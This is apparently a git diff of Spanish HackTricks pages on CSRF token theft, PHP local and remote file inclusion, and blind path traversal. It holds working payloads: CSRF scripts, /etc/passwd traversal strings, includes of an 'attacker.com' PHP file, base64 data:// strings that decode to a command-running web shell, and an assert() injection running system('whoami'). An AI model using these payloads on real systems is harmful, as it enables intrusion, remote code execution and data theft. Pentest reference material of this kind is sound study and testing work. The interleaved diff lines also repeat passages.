El robo de tokens CSRF es una técnica común utilizada en ataques de falsificación de solicitudes entre sitios. Esta técnica aprovecha la confianza que un sitio web tiene en las solicitudes enviadas desde su propio dominio.
|
||||
El robo de tokens CSRF es una técnica común utilizada en ataques de falsificación de solicitudes entre sitios. Esta técnica aprovecha la confianza que un sitio web tiene en el navegador del usuario para realizar acciones no deseadas en nombre del usuario.
|
||||
|
||||
Para robar el token CSRF, se puede utilizar un iframe oculto que cargue la página objetivo que contiene el token. Luego, se puede acceder al contenido del iframe y extraer el valor del token.
|
||||
|
||||
```html
|
||||
<iframe id="csrfFrame" src="https://www.sitio-objetivo.com" style="display: none;"></iframe>
|
||||
<iframe id="csrf-frame" src="https://www.sitio-objetivo.com" style="display: none;"></iframe>
|
||||
<script>
|
||||
var csrfFrame = document.getElementById('csrfFrame');
|
||||
var csrfFrame = document.getElementById('csrf-frame');
|
||||
var csrfToken = csrfFrame.contentDocument.querySelector('input[name="csrf_token"]').value;
|
||||
// Aquí se puede enviar el token a un servidor malicioso o realizar otras acciones
|
||||
// Aquí se puede enviar el token a un servidor malicioso o realizar otras acciones no deseadas
|
||||
</script>
|
||||
```
|
||||
|
||||
Una vez que se ha robado el token CSRF, se puede utilizar para enviar una solicitud POST falsificada al servidor objetivo. Esto se puede hacer utilizando un formulario oculto que se completa automáticamente con el token robado y se envía mediante JavaScript.
|
||||
Una vez que se ha robado el token CSRF, se puede utilizar para enviar una solicitud POST utilizando un formulario oculto o mediante una solicitud Ajax.
|
||||
|
||||
```html
|
||||
<form id="csrfForm" action="https://www.sitio-objetivo.com" method="POST" style="display: none;">
|
||||
<input type="hidden" name="csrf_token" value="">
|
||||
<form id="csrf-form" action="https://www.sitio-objetivo.com/action" method="POST" style="display: none;">
|
||||
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_ROBADO">
|
||||
<!-- Otros campos del formulario -->
|
||||
</form>
|
||||
<script>
|
||||
var csrfForm = document.getElementById('csrfForm');
|
||||
csrfForm.querySelector('input[name="csrf_token"]').value = csrfToken;
|
||||
var csrfForm = document.getElementById('csrf-form');
|
||||
csrfForm.submit();
|
||||
</script>
|
||||
```
|
||||
|
||||
Otra forma de enviar la solicitud POST falsificada es utilizando Ajax. Se puede crear una solicitud Ajax y establecer el valor del token CSRF en el encabezado de la solicitud.
|
||||
Otra opción es utilizar una solicitud Ajax para enviar la solicitud POST con el token CSRF robado.
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open('POST', 'https://www.sitio-objetivo.com', true);
|
||||
xhr.open('POST', 'https://www.sitio-objetivo.com/action', true);
|
||||
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded');
|
||||
xhr.setRequestHeader('X-CSRF-Token', csrfToken);
|
||||
xhr.setRequestHeader('X-CSRF-Token', 'TOKEN_CSRF_ROBADO');
|
||||
// Aquí se pueden agregar otros encabezados y datos de la solicitud
|
||||
xhr.send();
|
||||
```
|
||||
|
||||
Estas técnicas permiten a un atacante robar el token CSRF y enviar solicitudes falsificadas en nombre del usuario legítimo. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF con duración limitada y la validación estricta de las solicitudes recibidas.
|
||||
Estas técnicas permiten a un atacante realizar acciones no autorizadas en nombre del usuario, lo que puede llevar a la modificación de datos, la ejecución de acciones no deseadas o incluso la toma de control de la cuenta del usuario. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF y la validación de referencias, para mitigar este tipo de ataques.
|
||||
```markup
|
||||
<form id="form1" action="http://google.com?param=VALUE" method="post" enctype="multipart/form-data">
|
||||
<input type="text" name="username" value="AA">
|
||||
|
@ -606,30 +612,30 @@ document.getElementById("form1").submit();
|
|||
```
|
||||
### **Robar el token CSRF y enviar una solicitud POST utilizando un iframe y un formulario**
|
||||
|
||||
Una técnica común para llevar a cabo un ataque de falsificación de solicitudes entre sitios (CSRF) es robar el token CSRF de un usuario legítimo y luego utilizarlo para enviar una solicitud POST maliciosa. Esto se puede lograr mediante el uso de un iframe y un formulario.
|
||||
Una técnica común para llevar a cabo un ataque de falsificación de solicitudes entre sitios (CSRF) es robar el token CSRF de un usuario y luego utilizarlo para enviar una solicitud POST maliciosa. Esto se puede lograr utilizando un iframe y un formulario.
|
||||
|
||||
1. Primero, es necesario obtener el token CSRF del usuario legítimo. Esto se puede hacer mediante ingeniería inversa o mediante la explotación de una vulnerabilidad en la aplicación web.
|
||||
1. Primero, es necesario obtener el token CSRF del usuario. Esto se puede hacer mediante ingeniería inversa o mediante la explotación de una vulnerabilidad en la aplicación web.
|
||||
|
||||
2. Una vez que se ha obtenido el token CSRF, se puede utilizar un iframe para cargar una página maliciosa en el navegador del usuario. El iframe debe apuntar a la página que contiene el formulario que se utilizará para enviar la solicitud POST.
|
||||
2. Una vez que se ha obtenido el token CSRF, se puede utilizar un iframe para cargar una página maliciosa en el navegador del usuario. El iframe debe apuntar a la URL de destino donde se realizará la solicitud POST.
|
||||
|
||||
```html
|
||||
<iframe src="http://www.paginamaliciosa.com/csrf.html"></iframe>
|
||||
<iframe src="https://www.ejemplo.com/vulnerable-page" style="display:none;"></iframe>
|
||||
```
|
||||
|
||||
3. En la página maliciosa, se debe incluir un formulario que contenga los parámetros necesarios para realizar la solicitud POST. El formulario debe incluir el token CSRF robado.
|
||||
3. Dentro de la página maliciosa cargada en el iframe, se debe incluir un formulario oculto que contenga los parámetros necesarios para la solicitud POST. Asegúrese de incluir el token CSRF robado en el formulario.
|
||||
|
||||
```html
|
||||
<form action="http://www.aplicacionweb.com/solicitudpost" method="POST">
|
||||
<input type="hidden" name="parametro1" value="valor1">
|
||||
<input type="hidden" name="parametro2" value="valor2">
|
||||
<input type="hidden" name="csrf_token" value="TOKEN_CSRF_ROBADO">
|
||||
<input type="submit" value="Enviar">
|
||||
<form action="https://www.ejemplo.com/vulnerable-page" method="POST">
|
||||
<input type="hidden" name="param1" value="valor1">
|
||||
<input type="hidden" name="param2" value="valor2">
|
||||
<input type="hidden" name="csrf_token" value="token_csrf_robado">
|
||||
<input type="submit" value="Submit">
|
||||
</form>
|
||||
```
|
||||
|
||||
4. Cuando el usuario carga la página maliciosa, el formulario se enviará automáticamente debido al uso del atributo `action` en el formulario. La solicitud POST se enviará a la aplicación web legítima, utilizando el token CSRF robado.
|
||||
4. Cuando el usuario carga la página maliciosa, el formulario se enviará automáticamente debido al uso del atributo `submit`. Esto enviará la solicitud POST con los parámetros y el token CSRF robado al servidor de destino.
|
||||
|
||||
Es importante tener en cuenta que este tipo de ataque solo es efectivo si el usuario legítimo ha iniciado sesión en la aplicación web y tiene una sesión activa. Además, la aplicación web debe ser vulnerable a ataques CSRF para que esta técnica funcione.
|
||||
Al utilizar esta técnica, un atacante puede engañar al usuario para que realice acciones no deseadas en su nombre, como cambiar la contraseña, realizar compras o eliminar datos. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF y la validación de referencias, para mitigar este tipo de ataques.
|
||||
```markup
|
||||
<iframe id="iframe" src="http://google.com?param=VALUE" width="500" height="500" onload="read()"></iframe>
|
||||
|
||||
|
@ -695,39 +701,57 @@ height="600" width="800"></iframe>
|
|||
```
|
||||
### **POSTRobar token CSRF con Ajax y enviar un post con un formulario**
|
||||
|
||||
En esta técnica, aprovechamos una vulnerabilidad de Cross-Site Request Forgery (CSRF) para robar el token CSRF de un usuario y luego enviar una solicitud POST utilizando Ajax y un formulario.
|
||||
En esta técnica, aprovechamos una vulnerabilidad de Cross-Site Request Forgery (CSRF) para robar el token CSRF de un usuario y luego enviar una solicitud POST utilizando Ajax y un formulario falso.
|
||||
|
||||
1. Primero, necesitamos obtener el token CSRF del usuario. Esto se puede hacer mediante ingeniería social o mediante la explotación de una vulnerabilidad en el sitio web objetivo.
|
||||
#### **Pasos:**
|
||||
|
||||
2. Una vez que tenemos el token CSRF, podemos usar Ajax para enviar una solicitud POST al servidor objetivo. Aquí está el código de ejemplo:
|
||||
1. Identificar la página objetivo que contiene la funcionalidad vulnerable de CSRF.
|
||||
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("POST", "https://www.example.com/endpoint", true);
|
||||
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
|
||||
xhr.setRequestHeader("X-CSRF-Token", "<TOKEN_CSRF>");
|
||||
xhr.send("param1=value1¶m2=value2");
|
||||
```
|
||||
2. Crear un formulario HTML falso en nuestra página maliciosa con los campos necesarios para la solicitud POST que queremos enviar.
|
||||
|
||||
Asegúrate de reemplazar "https://www.example.com/endpoint" con la URL del punto final al que deseas enviar la solicitud POST. Además, reemplaza "<TOKEN_CSRF>" con el token CSRF que has obtenido.
|
||||
3. Utilizar Ajax para enviar una solicitud GET a la página objetivo y extraer el token CSRF del cuerpo de la respuesta.
|
||||
|
||||
3. También podemos enviar una solicitud POST utilizando un formulario oculto. Aquí está el código de ejemplo:
|
||||
4. Insertar el token CSRF en el formulario falso que creamos en el paso 2.
|
||||
|
||||
5. Utilizar Ajax para enviar una solicitud POST a la página objetivo utilizando el formulario falso y el token CSRF robado.
|
||||
|
||||
#### **Ejemplo de código:**
|
||||
|
||||
```html
|
||||
<form id="csrfForm" action="https://www.example.com/endpoint" method="POST">
|
||||
<input type="hidden" name="param1" value="value1">
|
||||
<input type="hidden" name="param2" value="value2">
|
||||
<input type="hidden" name="X-CSRF-Token" value="<TOKEN_CSRF>">
|
||||
</form>
|
||||
|
||||
<script>
|
||||
document.getElementById("csrfForm").submit();
|
||||
// Paso 3: Extraer el token CSRF de la página objetivo
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.open("GET", "https://www.ejemplo.com/pagina-objetivo", true);
|
||||
xhr.onreadystatechange = function() {
|
||||
if (xhr.readyState === 4 && xhr.status === 200) {
|
||||
var response = xhr.responseText;
|
||||
var csrfToken = extractCSRFToken(response);
|
||||
|
||||
// Paso 4: Insertar el token CSRF en el formulario falso
|
||||
document.getElementById("csrfToken").value = csrfToken;
|
||||
|
||||
// Paso 5: Enviar la solicitud POST con el formulario falso
|
||||
var formData = new FormData(document.getElementById("fakeForm"));
|
||||
xhr.open("POST", "https://www.ejemplo.com/pagina-objetivo", true);
|
||||
xhr.send(formData);
|
||||
}
|
||||
};
|
||||
xhr.send();
|
||||
|
||||
function extractCSRFToken(response) {
|
||||
// Lógica para extraer el token CSRF del cuerpo de la respuesta
|
||||
}
|
||||
</script>
|
||||
|
||||
<form id="fakeForm" action="https://www.ejemplo.com/pagina-objetivo" method="POST">
|
||||
<input type="hidden" name="csrfToken" id="csrfToken" value="">
|
||||
<!-- Agregar otros campos necesarios para la solicitud POST -->
|
||||
</form>
|
||||
```
|
||||
|
||||
Al igual que antes, asegúrate de reemplazar "https://www.example.com/endpoint" con la URL del punto final al que deseas enviar la solicitud POST. Además, reemplaza "<TOKEN_CSRF>" con el token CSRF que has obtenido.
|
||||
En este ejemplo, utilizamos Ajax para enviar una solicitud GET a la página objetivo y extraer el token CSRF del cuerpo de la respuesta. Luego, insertamos el token CSRF en un formulario falso y utilizamos Ajax nuevamente para enviar una solicitud POST a la página objetivo utilizando el formulario falso y el token CSRF robado.
|
||||
|
||||
Estas técnicas permiten a un atacante enviar solicitudes POST en nombre del usuario sin su conocimiento o consentimiento. Es importante que los desarrolladores implementen medidas de protección adecuadas, como el uso de tokens CSRF y la validación de referencias, para mitigar este tipo de ataques.
|
||||
Es importante tener en cuenta que esta técnica solo funcionará si la página objetivo no implementa medidas de protección adecuadas contra CSRF, como tokens CSRF aleatorios y verificación de origen.
|
||||
```markup
|
||||
<body onload="getData()">
|
||||
|
||||
|
@ -776,7 +800,7 @@ Para protegerse contra CSRF en una aplicación que utiliza Socket.IO, se deben i
|
|||
|
||||
Al implementar esta protección CSRF en Socket.IO, se asegura de que solo las solicitudes legítimas, que incluyen el token CSRF correcto, sean procesadas por el servidor. Cualquier solicitud sin un token válido será rechazada, lo que ayuda a prevenir ataques CSRF exitosos.
|
||||
|
||||
Es importante tener en cuenta que la protección CSRF en Socket.IO debe ser implementada de forma personalizada, ya que Socket.IO no proporciona una solución integrada para este tipo de ataques.
|
||||
Es importante tener en cuenta que la protección CSRF en Socket.IO debe ser implementada de manera adecuada y exhaustiva para garantizar la seguridad de la aplicación. Además, es recomendable seguir las mejores prácticas de seguridad en el desarrollo de aplicaciones web para minimizar el riesgo de ataques CSRF y otros tipos de vulnerabilidades.
|
||||
```markup
|
||||
<script src="https://cdn.jsdelivr.net/npm/socket.io-client@2/dist/socket.io.js"></script>
|
||||
<script>
|
||||
|
@ -855,7 +879,7 @@ login(USER, line.strip())
|
|||
|
||||
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -877,8 +901,8 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos.
|
||||
* Obtén el [**swag oficial de PEASS y HackTricks**](https://peass.creator-spring.com).
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de Telegram**](https://t.me/peass) o **sígueme** en **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PR al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
|
||||
|
|
|
@ -12,7 +12,7 @@
|
|||
|
||||
</details>
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -20,7 +20,7 @@
|
|||
Las recompensas de HackenProof se lanzan solo cuando sus clientes depositan el presupuesto de recompensa. Obtendrás la recompensa después de que se verifique el error.
|
||||
|
||||
**Obtén experiencia en pentesting web3**\
|
||||
¡Los protocolos blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
¡Los protocolos de blockchain y los contratos inteligentes son el nuevo Internet! Domina la seguridad web3 en sus días de crecimiento.
|
||||
|
||||
**Conviértete en la leyenda del hacker web3**\
|
||||
Gana puntos de reputación con cada error verificado y conquista la cima de la clasificación semanal.
|
||||
|
@ -78,21 +78,9 @@ http://example.com/index.php?page=../../../etc/passwd
|
|||
```
|
||||
### secuencias de recorrido sin recursión eliminadas
|
||||
|
||||
When performing a file inclusion vulnerability assessment, it is common to encounter web applications that strip traversal sequences in a non-recursive manner. This means that the application removes traversal sequences like "../" from the user input, but only does so once and does not repeat the process.
|
||||
When performing a file inclusion vulnerability assessment, it is common to encounter web applications that strip traversal sequences in a non-recursive manner. This means that the application removes traversal sequences like "../" from the user input, but only does so once.
|
||||
|
||||
Cuando se realiza una evaluación de vulnerabilidad de inclusión de archivos, es común encontrarse con aplicaciones web que eliminan las secuencias de recorrido de manera no recursiva. Esto significa que la aplicación elimina las secuencias de recorrido como "../" de la entrada del usuario, pero solo lo hace una vez y no repite el proceso.
|
||||
|
||||
For example, if the user input contains "../" to traverse to a parent directory, the application will remove the "../" once and continue processing the remaining input. This can be a challenge for an attacker trying to exploit the file inclusion vulnerability.
|
||||
|
||||
Por ejemplo, si la entrada del usuario contiene "../" para recorrer un directorio padre, la aplicación eliminará "../" una vez y continuará procesando la entrada restante. Esto puede ser un desafío para un atacante que intenta explotar la vulnerabilidad de inclusión de archivos.
|
||||
|
||||
To bypass this non-recursive stripping, an attacker can use alternative traversal sequences that are not stripped by the application. These alternative sequences can include URL encoding, double encoding, or using different characters to represent traversal.
|
||||
|
||||
Para evadir esta eliminación no recursiva, un atacante puede utilizar secuencias de recorrido alternativas que no sean eliminadas por la aplicación. Estas secuencias alternativas pueden incluir codificación de URL, doble codificación o el uso de diferentes caracteres para representar el recorrido.
|
||||
|
||||
By experimenting with different traversal sequences, an attacker can determine which ones are not stripped by the application and successfully exploit the file inclusion vulnerability.
|
||||
|
||||
Al experimentar con diferentes secuencias de recorrido, un atacante puede determinar cuáles no son eliminadas por la aplicación y explotar con éxito la vulnerabilidad de inclusión de archivos.
|
||||
Cuando se realiza una evaluación de vulnerabilidad de inclusión de archivos, es común encontrarse con aplicaciones web que eliminan las secuencias de recorrido de manera no recursiva. Esto significa que la aplicación elimina las secuencias de recorrido como "../" del input del usuario, pero solo lo hace una vez.
|
||||
```python
|
||||
http://example.com/index.php?page=....//....//....//etc/passwd
|
||||
http://example.com/index.php?page=....\/....\/....\/etc/passwd
|
||||
|
@ -104,7 +92,7 @@ Bypass para agregar más caracteres al final de la cadena proporcionada (bypass
|
|||
```
|
||||
http://example.com/index.php?page=../../../etc/passwd%00
|
||||
```
|
||||
Esto está **solucionado desde PHP 5.4**
|
||||
Este problema **se resolvió desde PHP 5.4**
|
||||
|
||||
### **Codificación**
|
||||
|
||||
|
@ -179,48 +167,33 @@ http://example.com/index.php?page=/%5C../%5C../%5C../%5C../%5C../%5C../%5C../%5C
|
|||
Maintain the initial path: http://example.com/index.php?page=/var/www/../../etc/passwd
|
||||
http://example.com/index.php?page=PhP://filter
|
||||
```
|
||||
## RFI Básico
|
||||
## Inclusión Remota de Archivos
|
||||
|
||||
El RFI (Inclusión de Archivos Remotos) es una vulnerabilidad común en aplicaciones web que permite a un atacante incluir archivos remotos en el código fuente de una página web. Esto puede conducir a la ejecución de código arbitrario y comprometer la seguridad del sistema.
|
||||
|
||||
### Cómo funciona
|
||||
|
||||
El RFI se produce cuando una aplicación web no valida adecuadamente las entradas del usuario antes de incluir archivos remotos. Esto permite que un atacante especifique una URL remota que contiene código malicioso, que luego se ejecuta en el contexto de la aplicación web.
|
||||
|
||||
El RFI se puede explotar de varias maneras, pero una de las más comunes es a través de parámetros de URL. Por ejemplo, si una aplicación web incluye un archivo PHP utilizando el valor de un parámetro de URL sin validar, un atacante puede proporcionar una URL remota que contiene código PHP malicioso. Cuando la aplicación web incluye el archivo remoto, el código malicioso se ejecuta.
|
||||
|
||||
### Ejemplo de explotación
|
||||
|
||||
Supongamos que una aplicación web tiene una página que incluye un archivo PHP utilizando un parámetro de URL llamado "archivo". El código de la página podría verse así:
|
||||
|
||||
```php
|
||||
<?php
|
||||
$archivo = $_GET['archivo'];
|
||||
include($archivo);
|
||||
?>
|
||||
```
|
||||
|
||||
Un atacante podría explotar esta vulnerabilidad proporcionando una URL remota que contiene código malicioso. Por ejemplo:
|
||||
|
||||
```
|
||||
http://www.ejemplo.com/pagina.php?archivo=http://www.atacante.com/archivo_malicioso.php
|
||||
```
|
||||
|
||||
Cuando la aplicación web incluye el archivo remoto, el código malicioso en "archivo_malicioso.php" se ejecuta en el contexto de la aplicación web, lo que puede permitir al atacante realizar acciones no autorizadas.
|
||||
|
||||
### Cómo prevenir el RFI
|
||||
|
||||
Para prevenir el RFI, es importante validar y filtrar adecuadamente todas las entradas del usuario antes de incluir archivos remotos. Esto puede incluir la verificación de la URL para asegurarse de que solo se incluyan archivos desde ubicaciones confiables y la implementación de listas blancas de archivos permitidos.
|
||||
|
||||
Además, es recomendable mantener siempre actualizados los sistemas y aplicaciones web, ya que las actualizaciones a menudo incluyen parches de seguridad que abordan vulnerabilidades conocidas, como el RFI.
|
||||
|
||||
### Conclusión
|
||||
|
||||
El RFI es una vulnerabilidad común en aplicaciones web que puede permitir a los atacantes ejecutar código arbitrario y comprometer la seguridad del sistema. Al validar y filtrar adecuadamente las entradas del usuario y mantener actualizados los sistemas y aplicaciones web, se puede reducir el riesgo de explotación del RFI.
|
||||
En PHP, esto está desactivado de forma predeterminada porque **`allow_url_include`** está configurado en **Off**. Debe estar **On** para que funcione, y en ese caso podrías incluir un archivo PHP desde tu servidor y obtener RCE (Ejecución Remota de Código):
|
||||
```python
|
||||
http://example.com/index.php?page=http://atacker.com/mal.php
|
||||
http://example.com/index.php?page=\\attacker.com\shared\mal.php
|
||||
```
|
||||
Si por alguna razón **`allow_url_include`** está **activado**, pero PHP está **filtrando** el acceso a páginas web externas, [según este artículo](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), podrías utilizar, por ejemplo, el protocolo de datos con base64 para decodificar un código PHP en base64 y obtener RCE:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
{% hint style="info" %}
|
||||
En el código anterior, se agregó el `+.txt` final porque el atacante necesitaba una cadena que terminara en `.txt`, de modo que la cadena termine con eso y después de la decodificación b64, esa parte devolverá solo basura y se incluirá (y, por lo tanto, se ejecutará) el código PHP real.
|
||||
{% endhint %}
|
||||
|
||||
Otro ejemplo **sin usar el protocolo `php://`** sería:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```
|
||||
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
## Elemento raíz de Python
|
||||
|
||||
En Python, en un código como este:
|
||||
|
@ -364,15 +337,17 @@ http://example.com/index.php?page=rar://shell.jpg%23payload.php
|
|||
```
|
||||
### data://
|
||||
|
||||
La técnica de inclusión de archivos es una vulnerabilidad común en las aplicaciones web que permite a un atacante incluir archivos arbitrarios en una página web. Esto puede conducir a la ejecución remota de código, revelación de información confidencial o incluso a la toma completa del sistema.
|
||||
La técnica de inclusión de archivos es una vulnerabilidad común en las aplicaciones web que permite a un atacante incluir archivos arbitrarios en una página web. Esto puede conducir a la ejecución de código remoto, revelación de información confidencial o incluso a la toma de control total del servidor.
|
||||
|
||||
La vulnerabilidad de inclusión de archivos ocurre cuando una aplicación web no valida o filtra adecuadamente los datos proporcionados por el usuario antes de incluirlos en una página. Esto permite que un atacante manipule los parámetros de la URL o los datos de formulario para incluir archivos externos.
|
||||
La vulnerabilidad de inclusión de archivos se produce cuando una aplicación web permite al usuario especificar la ubicación de un archivo que se incluirá en la página. Si esta entrada no se valida adecuadamente, un atacante puede manipularla para incluir archivos maliciosos o sensibles.
|
||||
|
||||
La técnica de inclusión de archivos se puede explotar de varias formas, como la inclusión de archivos locales, la inclusión de archivos remotos y la inclusión de archivos basada en rutas. Cada una de estas técnicas tiene sus propias características y métodos de explotación.
|
||||
Un ejemplo común de esta vulnerabilidad es cuando una aplicación web permite a los usuarios cargar archivos adjuntos, como imágenes de perfil. Si la aplicación no valida adecuadamente la ubicación del archivo adjunto, un atacante puede cargar un archivo PHP malicioso y luego incluirlo en una página para ejecutar código arbitrario.
|
||||
|
||||
Es importante que los desarrolladores y los profesionales de la seguridad comprendan cómo funciona esta vulnerabilidad y cómo mitigarla. Esto implica validar y filtrar adecuadamente los datos proporcionados por el usuario, así como implementar medidas de seguridad adicionales, como la restricción de rutas de inclusión de archivos y el uso de listas blancas en lugar de listas negras.
|
||||
Para explotar esta vulnerabilidad, un atacante puede utilizar diferentes técnicas, como la inclusión de archivos locales, la inclusión de archivos remotos o la inclusión de archivos basada en parámetros. Cada técnica tiene sus propias características y requisitos, pero todas ellas pueden ser peligrosas si no se abordan adecuadamente.
|
||||
|
||||
En resumen, la inclusión de archivos es una vulnerabilidad crítica que puede tener graves consecuencias para la seguridad de una aplicación web. Es fundamental comprender cómo funciona esta técnica de ataque y tomar las medidas necesarias para protegerse contra ella.
|
||||
Es importante que los desarrolladores y los profesionales de la seguridad comprendan esta vulnerabilidad y tomen medidas para mitigarla. Esto incluye validar y filtrar adecuadamente las entradas del usuario, utilizar rutas absolutas en lugar de rutas relativas y limitar los privilegios de acceso del servidor web.
|
||||
|
||||
En resumen, la inclusión de archivos es una vulnerabilidad común en las aplicaciones web que puede permitir a un atacante incluir archivos maliciosos o sensibles en una página web. Es importante comprender esta vulnerabilidad y tomar medidas para mitigarla.
|
||||
```
|
||||
http://example.net/?page=data://text/plain,<?php echo base64_encode(file_get_contents("index.php")); ?>
|
||||
http://example.net/?page=data://text/plain,<?php phpinfo(); ?>
|
||||
|
@ -450,7 +425,7 @@ Una carga útil como esta:
|
|||
```
|
||||
' and die(show_source('/etc/passwd')) or '
|
||||
```
|
||||
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo pentesting-web/file-inclusion/README.md. Traduzca el texto relevante al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
|
||||
El siguiente contenido es de un libro de hacking sobre técnicas de hacking. El siguiente contenido es del archivo pentesting-web/file-inclusion/README.md. Traduzca el texto relevante en inglés al español y devuelva la traducción manteniendo exactamente la misma sintaxis de markdown y html. No traduzca cosas como código, nombres de técnicas de hacking, palabras de hacking, nombres de plataformas en la nube/SaaS (como Workspace, aws, gcp...), la palabra 'leak', pentesting y etiquetas de markdown. Tampoco agregue nada aparte de la traducción y la sintaxis de markdown.
|
||||
```bash
|
||||
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
|
||||
```
|
||||
|
@ -458,9 +433,9 @@ También es posible obtener RCE en una declaración "assert" vulnerable utilizan
|
|||
```
|
||||
' and die(system("whoami")) or '
|
||||
```
|
||||
Asegúrate de codificar las cargas útiles en formato URL antes de enviarlas.
|
||||
Asegúrate de codificar las cargas útiles en URL antes de enviarlas.
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
|
||||
<figure><img src="../../.gitbook/assets/image (1) (3).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**HackenProof es el hogar de todas las recompensas por errores de criptografía.**
|
||||
|
||||
|
@ -477,40 +452,39 @@ Gana puntos de reputación con cada error verificado y conquista la cima de la c
|
|||
|
||||
{% embed url="https://hackenproof.com/register" %}
|
||||
|
||||
## Traversal de ruta ciega en PHP
|
||||
## Traversal de Ruta Ciega en PHP
|
||||
|
||||
{% hint style="warning" %}
|
||||
Esta técnica es relevante en casos en los que **controlas** la **ruta del archivo** de una **función PHP** que accederá a un archivo pero no verás el contenido del archivo (como una simple llamada a **`file()`**) pero el contenido no se muestra.
|
||||
{% endhint %}
|
||||
|
||||
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de la traversión de ruta ciega a través de un filtro PHP para **filtrar el contenido de un archivo a través de un oráculo de error**.
|
||||
En [**esta increíble publicación**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) se explica cómo se puede abusar de una traversa de ruta ciega a través de un filtro PHP para **filtrar el contenido de un archivo a través de un oráculo de error**.
|
||||
|
||||
En resumen, la técnica utiliza la codificación **"UCS-4LE"** para hacer que el contenido de un archivo sea tan **grande** que la **función PHP que abre** el archivo desencadenará un **error**.
|
||||
|
||||
Luego, para filtrar el primer carácter, se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
|
||||
Luego, para filtrar el primer carácter se utiliza el filtro **`dechunk`** junto con otros como **base64** o **rot13** y finalmente se utilizan los filtros **convert.iconv.UCS-4.UCS-4LE** y **convert.iconv.UTF16.UTF-16BE** para **colocar otros caracteres al principio y filtrarlos**.
|
||||
|
||||
**Funciones que podrían ser vulnerables**: `file_get_contents`, `readfile`, `finfo->file`, `getimagesize`, `md5_file`, `sha1_file`, `hash_file`, `file`, `parse_ini_file`, `copy`, `file_put_contents (solo objetivo de solo lectura con esto)`, `stream_get_contents`, `fgets`, `fread`, `fgetc`, `fgetcsv`, `fpassthru`, `fputs`
|
||||
|
||||
¡Consulta la publicación mencionada para obtener detalles técnicos!
|
||||
